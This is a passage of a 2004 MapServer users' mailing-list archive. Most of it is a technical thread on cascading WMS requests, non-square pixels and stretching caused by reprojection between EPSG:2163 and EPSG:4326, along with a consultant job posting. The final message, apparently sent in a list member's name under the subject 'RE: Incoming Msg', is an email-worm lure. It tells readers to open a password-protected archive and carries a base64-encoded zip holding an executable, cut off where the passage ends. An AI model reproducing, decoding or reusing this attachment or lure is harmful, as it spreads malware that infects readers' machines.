shows up. When a client requests data from my WMS using a bounding box in EPSG:2163, the bounding box that gets passed along to the USGS WMS will have a different aspect ratio in EPSG:4326. However, the output image aspect ratio remains fixed. Therefore, the image from the USGS WMS gets stretched. Any data that I serve up locally and overlay on the USGS image will not get stretched. The end result is that the data from the two sources will line up only in the middle of the image. The conflation gets worse the further you get from the center. The simple solution, of course, is that I serve up my data in EPSG:4326 as well. That will work in this instance, but I can see problems arising if I also want to pull in data from other WMSes that serve up data in some other SRS. -Ty ~~~~~~~~~~~~~~~~~~~~~~~~ B. Tyler Wilson USDA Forest Service North Central Research Station 1992 Folwell Avenue St. Paul, MN 55108 651-649-5189 barrywilson at fs.fed.us ~~~~~~~~~~~~~~~~~~~~~~~~ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From barrywilson at fs.fed.us Tue Jun 8 15:02:11 2004 From: barrywilson at fs.fed.us (Barry Wilson) Date: Tue, 8 Jun 2004 17:02:11 -0500 Subject: [Mapserver-users] OGC compliance for WMS In-Reply-To: <40C5DA9C.8030404@pobox.com> Message-ID: Frank, Thanks for the information on the timeline. Cheers, -Ty ~~~~~~~~~~~~~~~~~~~~~~~~ B. Tyler Wilson USDA Forest Service North Central Research Station 1992 Folwell Avenue St. Paul, MN 55108 651-649-5189 barrywilson at fs.fed.us ~~~~~~~~~~~~~~~~~~~~~~~~ Frank Warmerdam .com> cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] OGC compliance for WMS 06/08/2004 10:26 AM Barry Wilson wrote: > > > > I've been reading through the archives and saw a couple of threads related > to Mapserver OGC compliance for WMS dated from November 03 and January 04. > Has the issue of "non-square" pixels been or is it being addressed? Barry, I am tasked to implement support for non-square pixels in MapServer in the near future. It will likely be a bit of a "hack" based on the mechanism I implemented for supporting rotated map output. This will be implemented in MapServer 4.3 (CVS) and be released with 4.4. The work is being supported by DM Solutions Group. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From siki at agt.bme.hu Tue Jun 8 18:15:42 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Wed, 9 Jun 2004 00:15:42 -0100 (GMT+1) Subject: [Mapserver-users] selecting a point on the map and retrieve the information from a database {Scanned} {Scanned} In-Reply-To: <20040608204219.83558.qmail@web20729.mail.yahoo.com> Message-ID: Hi, Check itemquery and itemnquery. Bye Zoltan On Tue, 8 Jun 2004, teoman teoman wrote: > Dear all, > > is there any way to click a point on the map by using mouse and retrieve the information regarding to the selected point from the database? > > I do appreciate any help or suggestions.. > > thanks alot inadvance.. > > --teo > > > --------------------------------- > Do you Yahoo!? > Friends. Fun. Try the all-new Yahoo! Messenger From randy.page at terraverge.com Tue Jun 8 16:25:50 2004 From: randy.page at terraverge.com (Randy Page) Date: Tue, 8 Jun 2004 19:25:50 -0400 Subject: [Mapserver-users] Consultants Needed Message-ID: <200406081923236.SM02656@rpage> This is a multi-part message in MIME format. ------=_NextPart_000_00AD_01C44D8E.68646040 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi All, We are in the process of putting together specifications for a fairly large Mapserver/PostGIS implementation and will need the assistance of a few consultants. The project will involve setting up a mapserver installation, creating map files, loading data into PostGIS, and and possibly some map script programming. We are located in North Carolina, but we will setup the system so it can be worked on remotely. Initially we will need only part time consultants, but the project could grow into full time employment opportunities. If you are interested, please forward me information regarding your work experience, hourly rate, and availability. Thanks, Randy Page randy.page @ terraverge.com ------=_NextPart_000_00AD_01C44D8E.68646040 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hi All,

 

We are in the process of putting together = specifications for a fairly large Mapserver/PostGIS implementation and will need the = assistance of a few consultants.   The project will involve setting up a = mapserver installation, creating map files, loading data into PostGIS, and and = possibly some map script programming.    We are located in = North = Carolina, but we will setup the system so it can be worked on remotely.    Initially we will need only part time consultants, but the project could = grow into full time employment opportunities.

 

If you are interested, please forward me information regarding your work experience, hourly rate, and = availability.  

 

Thanks,

 

Randy Page

 

randy.page @ = terraverge.com

------=_NextPart_000_00AD_01C44D8E.68646040-- -- [This E-mail scanned for viruses by Declude Virus] From ed at topozone.com Tue Jun 8 17:01:37 2004 From: ed at topozone.com (Ed McNierney) Date: Tue, 8 Jun 2004 20:01:37 -0400 Subject: [Mapserver-users] OGC compliance for WMS Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB077077@ptolemy.topozone.com> If that's the case, then I think you are running into a different problem than the non-square pixel support. The client is requesting square pixels from MapServer, and therefore MapServer's inability to support non-square pixels should not be an issue. It appears, therefore, that MapServer is not correctly adjusting the WIDTH and HEIGHT of its WMS request to match the extent of the reprojected BBOX. I suspect we haven't heard from the folks who KNOW how the WMS support handles this because they're all busy schmoozing at the conference in Ottawa (where I wish I was, too :-() - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: Barry Wilson [mailto:barrywilson at fs.fed.us] Sent: Tuesday, June 08, 2004 5:59 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] OGC compliance for WMS Yep. You've described it perfectly. -Ty "Ed McNierney" > cc: Subject: RE: [Mapserver-users] OGC compliance for WMS 06/08/2004 04:37 PM This must be fun for the others to watch . Let me try again. If I understand your scenario correctly, then I think there is indeed a bug in MapServer - just not the bug you mentioned. I am not suggesting that other WMSes need conform to MapServer, but that MapServer needs construct its WMS requests correctly. Just to double-check - your scenario described this: Client <---------> YOUR MapServer WMS <---------> USGS ArcIMS WMS EPSG:2163 EPSG:4326 Right? In that scenario there is no request TO MapServer for non-square pixels, so that can't be the problem. But MapServer MAY be incorrectly constructing a non-square-pixel request to the USGS server when it doesn't intend to do so. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: Barry Wilson [mailto:barrywilson at fs.fed.us] Sent: Tuesday, June 08, 2004 5:22 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] OGC compliance for WMS Ed, Yes, you've understood perfectly the issue I was trying to describe. First, I agree with you that this particular problem could be solved without addressing the "non-square" pixel issue. Also, cartographically speaking, I prefer the way Mapserver handles aspect ratio mismatches to the stretching approach adopted in the specification. However, because of Mapserver's support of reprojection-on-the-fly I viewed these as being related and somewhat troubling issues. The real problem is when other WMSes, that support "non-square" pixels, try to cascade Mapserver and pass through a "non-square" request. In this case the bug (assuming it really is a bug and not just operator error on my part) fix we're talking about will not help. The bug fix ensures that other WMSes will conform to Mapserver, not vice versa. IMHO, Mapserver is far more appealing when it behaves exactly like every other OGC-compliant WMS, especially when you factor in price and performance. It is an easier sell to an organization when you can say it is truly interoperable and "plays nicely with others" ... and it won't cost you anything! Just my $.02 anyway. Not complaining, just encouraging :-) Thanks for your help, -Ty "Ed McNierney" > cc: Subject: RE: [Mapserver-users] OGC compliance for WMS 06/08/2004 02:49 PM Barry - I *think* Arnulf is talking about something else - but I still could be confused. MapServer wants EPSG:2163 but the USGS only serves EPSG:4326. So MapServer reprojects the BBOX it wants from EPSG:2163 to EPSG:4326 - and it SHOULD ALSO ADJUST THE REQUESTED WIDTH AND HEIGHT to reflect the reprojected BBOX. If I'm looking for a 100x100 pixel image in EPSG:2163, I may need to request a 110x106 pixel (or whatever) image from an EPSG:4326 server. If MapServer is deciding to generate the appropriate BBOX request from another server, it should be generating an appropriate WIDTH and HEIGHT to go with it. This can be a bit tricky to do (I worked with software from Blue Marble several years ago that never got it right) but it should be done. If MapServer is not doing it, then (I think) it is indeed a bug, but one that is unrelated to whether MapServer generates non-square pixels in response to a WMS request. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: Barry Wilson [mailto:barrywilson at fs.fed.us] Sent: Tuesday, June 08, 2004 3:35 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] OGC compliance for WMS Ed, Thanks for the prompt response! You wrote: "A non-square pixel request should result when the BBOX extents are not proportional to the WIDTH and HEIGHT request. When acting as a WMS *server*, MapServer adjusts the BBOX to the right ratio to match the WIDTH and HEIGHT, instead of stretching the output image to fit. Your example involves MapServer acting as a *client* to ArcIMS, and this incorrect behavior should not be involved. I may be missing the boat here - am I?" In the example I described, Mapserver is acting both as client and server. It is a client to the USGS WMS and a server of that data along with several local data layers. The local layers are not reprojected because their native projection is EPSG:2163. The NED layer from the USGS WMS is indeed reprojected from EPSG:4326 to EPSG:2163. However, it appears that the image generated by the USGS WMS was stretched, *prior* to reprojection by Mapserver, as per the WMS specification because the BBOX aspect ratio and the output width/height differ. The reason they differ is because the BBOX passed to Mapserver was based on EPSG:2163, while the BBOX that Mapserver passes to the USGS WMS is based on EPSG:4326. The issue is not that Mapserver is "filling in" to preserve the correct aspect ratio, it is that the USGS WMS doesn't and instead stretches, as per the spec. Perhaps it's simply a matter of having Mapserver, when cascading other WMSes, adjust the BBOX that it passes to those servers to essentially force *them* to fill in to maintain the correct aspect ratio so that no stretching takes place. There is a message from Arnulf Christl dated April 6, 2004 that I believe describes the same phenomenon. He wrote: "Anyway - UMN MapServer is still not implementing WMS correctly as it always returns images with "square" pixels. If you use UMN MapServer as the only service don't bother about it. If you have to combine it with other WMS it might be problematic. Its a little tricky to get the gist of this problem. Whenever you request an image which has an inconsitent aspect ratio of pixels and coordinates, UMN MapServer will cheat by adding as much map as is needed to fill up the difference until it can return "square" pixels. The OGC spec. specifies that instead the image should be stretched. If you overlay the MS' result with another WMS which does return (WMS compliant) warped images you will see the difference, whenever the client works with warped start-up parameters. In the center of the map the overlay looks good, the further you get to the border of the map the larger will be the delta." Does this help? I could include some screenshots if that would help illustrate this better. Thanks again, -Ty "Ed McNierney" , > cc: Subject: RE: [Mapserver-users] OGC compliance for WMS 06/08/2004 12:24 PM Barry - I am a little puzzled at the description of your problem. I was not under the impression that the non-square output pixel support would be related to the situation you describe. The bounding box passed to the USGS server will indeed have a different SIZE, but the EPSG:4326 image returned should be properly reprojected to the EPSG:2163 projection and each pixel should end up in the right place. I haven't played with this extensively, but I don't think you should be having a problem here - what am I missing? The support for non-square pixels, as I understand, is intended to support output devices with non-square pixels for display or print. I did not think it was related to image reprojection - after all, in the example you give, it would seem like it's the USGS ArcIMS server that's not returning the data properly. There's no request for MapServer to render non-square pixels. A non-square pixel request should result when the BBOX extents are not proportional to the WIDTH and HEIGHT request. When acting as a WMS *server*, MapServer adjusts the BBOX to the right ratio to match the WIDTH and HEIGHT, instead of stretching the output image to fit. Your example involves MapServer acting as a *client* to ArcIMS, and this incorrect behavior should not be involved. I may be missing the boat here - am I? - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Barry Wilson Sent: Tuesday, June 08, 2004 11:11 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] OGC compliance for WMS I've been reading through the archives and saw a couple of threads related to Mapserver OGC compliance for WMS dated from November 03 and January 04. Has the issue of "non-square" pixels been or is it being addressed? This can be a fairly significant problem for folks who want to be able to cascade from fully compliant WMSes. A concrete example is the set of services provided by USGS, say something like the NED. These data are served up by ArcIMS in EPSG:4326, a geographic SRS. When they are cascaded through my UMN Mapserver WMS, I reproject them to EPSG:2163, a Lambert Azimuthal Equal Area projection. This is where the "non-square" pixels issue shows up. When a client requests data from my WMS using a bounding box in EPSG:2163, the bounding box that gets passed along to the USGS WMS will have a different aspect ratio in EPSG:4326. However, the output image aspect ratio remains fixed. Therefore, the image from the USGS WMS gets stretched. Any data that I serve up locally and overlay on the USGS image will not get stretched. The end result is that the data from the two sources will line up only in the middle of the image. The conflation gets worse the further you get from the center. The simple solution, of course, is that I serve up my data in EPSG:4326 as well. That will work in this instance, but I can see problems arising if I also want to pull in data from other WMSes that serve up data in some other SRS. -Ty ~~~~~~~~~~~~~~~~~~~~~~~~ B. Tyler Wilson USDA Forest Service North Central Research Station 1992 Folwell Avenue St. Paul, MN 55108 651-649-5189 barrywilson at fs.fed.us ~~~~~~~~~~~~~~~~~~~~~~~~ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Tue Jun 8 19:37:02 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Tue, 08 Jun 2004 20:37:02 -0600 Subject: [Mapserver-users] RE: Incoming Msg Message-ID: ----------hyncaflwbkhtvfwrcwan Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
Note: Use password to open archive.

----------hyncaflwbkhtvfwrcwan Content-Type: image/gif; name="qzwufepvvg.gif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="qzwufepvvg.gif" Content-ID: R0lGODlhPAARAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A /wD//////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAz mQAzzAAz/wBmAABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDM mQDMzADM/wD/AAD/MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMz mTMzzDMz/zNmADNmMzNmZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPM mTPMzDPM/zP/ADP/MzP/ZjP/mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYz mWYzzGYz/2ZmAGZmM2ZmZmZmmWZmzGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbM mWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb//5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkz mZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZAJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnM mZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwAM8wAZswAmcwAzMwA/8wzAMwzM8wzZswz mcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZZsyZmcyZzMyZ/8zMAMzMM8zMZszM mczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8Amf8AzP8A//8zAP8zM/8zZv8z mf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+ZzP+Z///MAP/MM//MZv/M mf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAA8ABEAAAj1AP8JHEiwoMGD CBMqXMiwocOHECNKnDgQHzxx8PIJvCcu3T2B3MSJCylOYDyR8QT6IxmSosF84vD5E5cyHjd8 +Lh9HDhT3j914vLB/DgzpcuDJwuKFEiToDp1Bkf+46jxqMF0JQku/SdVpbidWqHC44bVqFWm 6k4atSmz609uBtXp/Jc0J1irS3Ma5RhvrECY8AqqjQr1LFe4hwtyK4xPnM+KHQ+2NHyRadaB Teki/tuxqtLCZzni41ozaGN/AoESzDl64MV8jc2elTdyp7914tS1TjwQqEhucPOd9Gi4uPGE I5OT/J1cJPPmv5cvP069uvWHAQEAO5N+/3//f3F+gHxxfu19gHz/f/9/vX+AfC9+/3//f/9/ /3//f3F+gHxxfv9//3//f/9//3//f4B8iX3/f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9/gHztfXF+gHxxfv9//3+TfoB8e3+cf4B8gHz/f/9/ /3/tfYB83n//f/9//3//f/9/7X2AfDh//39xfoB8vX84f4B81H7/f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/iX2AfP9//3//f/9//3+AfIB8 /3//f4B8gHz/f/9//39af4B89n7/f/9//3//f/9/nH+AfIl9/39xfoB8iX2AfHF+/3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/k36AfP9/ /3//f/9//3+AfIB8/3//f4B8cX7/f/9//3//f+19iX3/f/9//3//f/9//3+AfIB8/38Xf4B8 Wn//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9/nH+AfDh/vX+AfJN+/3/UfoB8nH84f4B8F3//f/9//3//f3t/gHyTfv9/7X2AfL1/ vX+AfNR+/397f4B8k37/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//39af+19gHztfb1//3//f9R+gHyJffZ+/3//f4B8gHyAfIB8 gHyAfP9/vX8vfoB8gHzUfv9//3/ef4B8gHyAfIB8gHz/f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ ----------hyncaflwbkhtvfwrcwan Content-Type: application/octet-stream; name="the_message.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="the_message.zip" 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 